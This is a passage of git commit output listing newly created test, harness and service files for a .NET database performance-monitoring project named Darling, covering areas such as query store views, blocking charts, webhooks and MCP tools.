 create mode 100644 Darling/Darling.Tests/ServerTagDeleteWarningTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTagMcpRoleLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTagRulesTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTagStoreLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTagViewerRoleLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ServerTagWebRoutesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ShowPlanParserParameterizedTextTests.cs
 create mode 100644 Darling/Darling.Tests/SidebarSearchGroupTests.cs
 create mode 100644 Darling/Darling.Tests/SlowClassCensusTests.cs
 create mode 100644 Darling/Darling.Tests/SlowReadLogTests.cs
 create mode 100644 Darling/Darling.Tests/SlowReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/SlowReadsRungTests.cs
 create mode 100644 Darling/Darling.Tests/StaTestThread.cs
 create mode 100644 Darling/Darling.Tests/StaTestThreadTests.cs
 create mode 100644 Darling/Darling.Tests/StaThreadCensusTests.cs
 create mode 100644 Darling/Darling.Tests/StallWaitProbeLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StallWaitProbeQueryTextPinTests.cs
 create mode 100644 Darling/Darling.Tests/StateSelfAlertTests.cs
 create mode 100644 Darling/Darling.Tests/StatementAlertReadCutLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementAnalysisReadCutLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementAnalysisReadCutPinTests.cs
 create mode 100644 Darling/Darling.Tests/StatementCollectionCensusCases.cs
 create mode 100644 Darling/Darling.Tests/StatementColumnCensusTests.cs
 create mode 100644 Darling/Darling.Tests/StatementCutSourceScanTests.cs
 create mode 100644 Darling/Darling.Tests/StatementDrillDownTextFetchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterAlertTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterAnalysisReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterBlockingReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterCensus.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterDeliveryTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterDrillDownWarningsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterPlanReaderSourceScanTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterPlanReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterQueryReadsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterWarmUp.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterWarmUpSourceTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterWarmUpWaitTests.cs
 create mode 100644 Darling/Darling.Tests/StatementFilterWebTests.cs
 create mode 100644 Darling/Darling.Tests/StatementMarkerReaderTests.cs
 create mode 100644 Darling/Darling.Tests/StatementPreviewCutLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementPreviewCutPinTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubBlockingTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubCanary.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubDeadlockLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubDerivedStoreTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubEndToEndLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubEventsTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubPlanCommandResultTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubQueryStatsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubQueryStatsTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubQueryStoreLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubQueryStoreTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubRecordingWriter.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubSnapshotTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubViewerPlanWithheldTests.cs
 create mode 100644 Darling/Darling.Tests/StatementScrubViewerSavePathsTests.cs
 create mode 100644 Darling/Darling.Tests/StatusBarBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/StorageAndFileIoWebDispatchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StorageDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StorageGrowthNewTableCutLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs
 create mode 100644 Darling/Darling.Tests/StoreDimensionRowCountLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreInstallIdBindingRuleTests.cs
 create mode 100644 Darling/Darling.Tests/StoreInstallIdLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreInstallIdRefusedClusterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreInstallIdSourcePinTests.cs
 create mode 100644 Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs
 create mode 100644 Darling/Darling.Tests/StoreObjectHourlyStepSelectionTests.cs
 create mode 100644 Darling/Darling.Tests/StoreQueryHistoryToolLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreQueryHistoryToolTests.cs
 create mode 100644 Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreStatementHistoryLiveTests.cs
 create mode 100644 Darling/Darling.Tests/StoreStatementHistoryRungTests.cs
 create mode 100644 Darling/Darling.Tests/StoreStatementHistoryTests.cs
 create mode 100644 Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs
 create mode 100644 Darling/Darling.Tests/TargetSessionIdCacheTests.cs
 create mode 100644 Darling/Darling.Tests/TargetSessionIdLiveStoreTests.cs
 create mode 100644 Darling/Darling.Tests/TestData/password-seal-v1-vector.json
 create mode 100644 Darling/Darling.Tests/TestKeyRings.cs
 create mode 100644 Darling/Darling.Tests/TestsNoSilentPassGuardTests.cs
 create mode 100644 Darling/Darling.Tests/TimeRangePickerControlTests.cs
 create mode 100644 Darling/Darling.Tests/TimeRangeTests.cs
 create mode 100644 Darling/Darling.Tests/TimingClaim.cs
 create mode 100644 Darling/Darling.Tests/TimingCollection.cs
 create mode 100644 Darling/Darling.Tests/TimingTestCensusTests.cs
 create mode 100644 Darling/Darling.Tests/TimingTestScanner.cs
 create mode 100644 Darling/Darling.Tests/TopFillEmptyRoundLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopProceduresDetailLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopProceduresIoRouteLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopQueriesDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopQueriesDetailLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopQueriesIoRouteLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingDifferentialLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingHourlyLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingNoticeBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingOnePassBaseline.cs
 create mode 100644 Darling/Darling.Tests/TopRankingPagePinTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingTests.cs
 create mode 100644 Darling/Darling.Tests/TopRankingTwoPassTests.cs
 create mode 100644 Darling/Darling.Tests/TopTextLookupFillTests.cs
 create mode 100644 Darling/Darling.Tests/TopTextLookupPlanLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TopTextTieBreakLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TrendStaleStatsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TuningHourlyCreateLiveTests.cs
 create mode 100644 Darling/Darling.Tests/TuningStartPasses.cs
 create mode 100644 Darling/Darling.Tests/TuningStartPathOneBuildTests.cs
 create mode 100644 Darling/Darling.Tests/UnpooledDropConnectionCensusTests.cs
 create mode 100644 Darling/Darling.Tests/ValidateConfigOldFormatPasswordLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewSavedServerScopeTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerAwsRoleFieldsTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerAwsRoleUpsertLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerBlockedProcessReportsCoverageLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerBlockingChartsDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerBlockingChartsDataStartPinTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerBlockingChartsDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerBlockingSourceLabelTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerBlockingSourceLivePostgresTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartPinTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerClutterAndMemoryPressureDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerCollectionHealthLoadTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerCollectionLogDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerCollectionLogDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerCollectorDurationChartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerCollectorDurationChartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerCollectorDurationHoverTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerConfigChangesDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerConfigGridCollectedColumnTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerDataStartBannerTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerEventDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerEventDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerEventGridsDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsApplicationConnectionsDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsDatabaseResourcesDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsHighImpactDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsIndexAnalysisDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsInventoryDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsOptimizationDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsRecommendationsDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsStorageGrowthDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsUtilizationDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsUtilizationFiguresDelegatesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFinOpsUtilizationNoCpuTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerFleetScreenWalkFixesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerGrantReplay.cs
 create mode 100644 Darling/Darling.Tests/ViewerHourlyRouteBlankColumnsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerHourlyWindowEdgesLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerHourlyWindowEdgesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerIoRollupRouteLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerIoRollupRouteTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerJobHistoryDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerJobHistoryDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerLocalStateBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerLongQueriesDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartPinTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerOverviewBlockingLaneDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerOverviewSearchTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerPasswordKeyTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerPgSnapshotGridTimeTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerPlanCorrectionsDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerPostgresDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerPostgresDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerProbeWatchCensusTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerQueryGridsDataStartLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerQueryHeatmapDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerQueryStoreHistoryTotalExecutionsTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerQueryStoreRegressionsDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerQueryTabLoadTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerScreenReaderNamesFollowUpTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerScreenReaderNamesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerScreenReaderRowNamesTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerServerSealLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerShortWindowDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerSmtpSealTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerSnapshotCollectedColumnTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerSnapshotStripCollectedTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerSnapshotTimeLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerStatsRowBlankCellTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerStoreLoginRawReadLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerSystemEventsDataStartTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerTextLookupWindowBoundLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerTimeRangeGapFixTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerTimeRangeWindowTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerWebhookSealLiveTests.cs
 create mode 100644 Darling/Darling.Tests/ViewerWebhookSealingTests.cs
 create mode 100644 Darling/Darling.Tests/WaitsDatabaseFilterLiveTests.cs
 create mode 100644 Darling/Darling.Tests/WebBlockingColumnsPageTests.cs
 create mode 100644 Darling/Darling.Tests/WebBlockingSaveXmlBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebBlockingSourceBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebChartAtTimeBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebChartLegendIsolateBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebChartMenuBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebChartWidthBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebChartZoomBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebClickthroughPickListTests.cs
 create mode 100644 Darling/Darling.Tests/WebClickthroughStaleStateTests.cs
 create mode 100644 Darling/Darling.Tests/WebCollectionHealthRunAtColumnTests.cs
 create mode 100644 Darling/Darling.Tests/WebCollectorRunHistoryTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteBlockingDeadlockTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteCappedWindowTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteConfigAndLogLiveTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteConfigAndLogTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteEventReadsTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteLiveTests.cs
 create mode 100644 Darling/Darling.Tests/WebDataStartNoteTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseBlankRuleTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseFilterBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseFilterChipsBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseFilterDispatchLiveTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseFilterPickerBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseFilterReadsTests.cs
 create mode 100644 Darling/Darling.Tests/WebDatabaseFilterTests.cs
 create mode 100644 Darling/Darling.Tests/WebDeadlockGraphBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebDeadlockGraphShapeTests.cs
 create mode 100644 Darling/Darling.Tests/WebFileIoAndPvsWindowPageTests.cs
 create mode 100644 Darling/Darling.Tests/WebFileIoLatencyBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebHarness/load-web-modules.mjs
 create mode 100644 Darling/Darling.Tests/WebHarnessJsTreeCopyTests.cs
 create mode 100644 Darling/Darling.Tests/WebMemoryPressureChartBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebModuleLoadTests.cs
 create mode 100644 Darling/Darling.Tests/WebPageRangeTests.cs
 create mode 100644 Darling/Darling.Tests/WebPageRefreshIntervalBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebPerfmonMultiSelectBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebPgPlanViewerPageTests.cs
 create mode 100644 Darling/Darling.Tests/WebPgStatementEvictionTilePageTests.cs
 create mode 100644 Darling/Darling.Tests/WebPlainTextTests.cs
 create mode 100644 Darling/Darling.Tests/WebPlanViewerPageTests.cs
 create mode 100644 Darling/Darling.Tests/WebQueryStoreGridGroupsTests.cs
 create mode 100644 Darling/Darling.Tests/WebQueryStoreHistoryColumnTests.cs
 create mode 100644 Darling/Darling.Tests/WebReadProbe.cs
 create mode 100644 Darling/Darling.Tests/WebReadReachLiveTests.cs
 create mode 100644 Darling/Darling.Tests/WebReadReachTests.cs
 create mode 100644 Darling/Darling.Tests/WebRouteStatementCensusTests.cs
 create mode 100644 Darling/Darling.Tests/WebServerPageRangeTests.cs
 create mode 100644 Darling/Darling.Tests/WebServerTrendsBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebServerTrendsPageTests.cs
 create mode 100644 Darling/Darling.Tests/WebTimeRangeTests.cs
 create mode 100644 Darling/Darling.Tests/WebTopProceduresColumnsTests.cs
 create mode 100644 Darling/Darling.Tests/WebTopQueriesColumnsTests.cs
 create mode 100644 Darling/Darling.Tests/WebWaitQueriesLinkBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebWaitStatsMultiSelectBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebWaitsActivityTrendsBehaviourTests.cs
 create mode 100644 Darling/Darling.Tests/WebWaitsActivityTrendsPageTests.cs
 create mode 100644 Darling/Darling.Tests/WebhookDeliverySnapshotTests.cs
 create mode 100644 Darling/Darling.Tests/WindowFloorLiveHarness.cs
 create mode 100644 Darling/Darling.Tests/WindowNoticeAggregateCases.cs
 create mode 100644 Darling/Darling.Tests/WpfExitSwitchPinTests.cs
 create mode 100644 Darling/Darling.Tests/WpfExitSwitchTests.cs
 create mode 100644 Darling/Darling.Tests/XeSessionMissingWarningTests.cs
 create mode 100644 Darling/Darling.Tests/admin-server-edit-harness.mjs
 create mode 100644 Darling/Darling.Tests/alert-history-advice-harness.mjs
 create mode 100644 Darling/Darling.Tests/alert-history-dismiss-harness.mjs
 create mode 100644 Darling/Darling.Tests/alert-history-range-harness.mjs
 create mode 100644 Darling/Darling.Tests/analysis-findings-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-index-analysis-limit-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-locking-detail-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-locking-heat-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-locking-picker-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-postgres-target-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-storage-growth-window-harness.mjs
 create mode 100644 Darling/Darling.Tests/finops-window-picker-harness.mjs
 create mode 100644 Darling/Darling.Tests/job-history-harness.mjs
 create mode 100644 Darling/Darling.Tests/manage-tags-harness.mjs
 create mode 100644 Darling/Darling.Tests/mute-rules-harness.mjs
 create mode 100644 Darling/Darling.Tests/page-range-harness.mjs
 create mode 100644 Darling/Darling.Tests/sidebar-harness.mjs
 create mode 100644 Darling/Darling.Tests/status-bar-harness.mjs
 create mode 100644 Darling/Darling.Tests/time-range-harness.mjs
 create mode 100644 Darling/Darling.Tests/time-range-picker-harness.mjs
 create mode 100644 Darling/Darling.Tests/top-ranking-notice-harness.mjs
 create mode 100644 Darling/Darling.Tests/view-scope-harness.mjs
 create mode 100644 Darling/Darling.Tests/viewer-local-blank-harness.mjs
 create mode 100644 Darling/Darling.Tests/viewer-local-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-blocking-save-xml-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-blocking-source-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-chart-at-time-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-chart-legend-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-chart-menu-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-chart-width-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-chart-zoom-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-clickthrough-pick-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-clickthrough-stale-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-collection-caveats-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-collector-run-history-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-column-groups-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-compose-notice-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-database-filter-chips-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-database-filter-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-database-filter-picker-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-deadlock-graph-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-deadlock-processes-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-fleet-silence-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-gated-collectors-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-grid-adoption-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-grid-filter-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-grid-sort-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-grid-tools-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-grid-value-filter-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-memory-pressure-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-page-refresh-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-perfmon-multi-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-pg-plan-viewer-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-picker-driver.mjs
 create mode 100644 Darling/Darling.Tests/web-plain-text-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-plan-row-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-plan-viewer-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-qs-grids-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-qs-history-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-release-walk-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-server-trends-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-wait-queries-link-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-waits-activity-trends-harness.mjs
 create mode 100644 Darling/Darling.Tests/web-waits-harness.mjs
 create mode 100644 Darling/PerformanceMonitor.Darling.Analysis/AnalysisStatementText.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Analysis/PgSecondaryReplicaScope.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/CollectionHistoryAudit.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/CollectorFaultStackLog.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Compose/ComposeServerScope.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreGroupMembers.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Compose/QueryStoreWideReadGuard.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DailyRunLimiter.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DailyRunWatch.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingAdminServersReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingAlwaysOnXeSessions.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingCliSealKey.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingHeartbeat.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingLegacyLongQuerySession.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingOwnedSecrets.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyFile.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyRuntime.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeySelfCheck.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyState.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyStore.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingRemovedServerSessions.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingServerDatabasesEndpoint.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingServiceKeyFile.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingUnknownKeys.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingWebDeadlockGraph.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingWebStatementSweep.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Hosting/CidrAllowList.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingListenerTls.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureObserver.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/LaunchMemoryGuard.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectionCaveatReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingCollectorRunTimeReader.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDeadlockProcessRows.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingGatedCollectorRows.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsInventoryTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsRecommendationsTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.ApplicationConnections.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseResources.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.DatabaseSizes.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.HighImpact.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.IndexAnalysis.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Optimization.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.StorageGrowth.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Utilization.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreHistoryTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTagTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTrendTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSlowReadTools.cs
 create mode 100644 Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryHistoryTools.cs
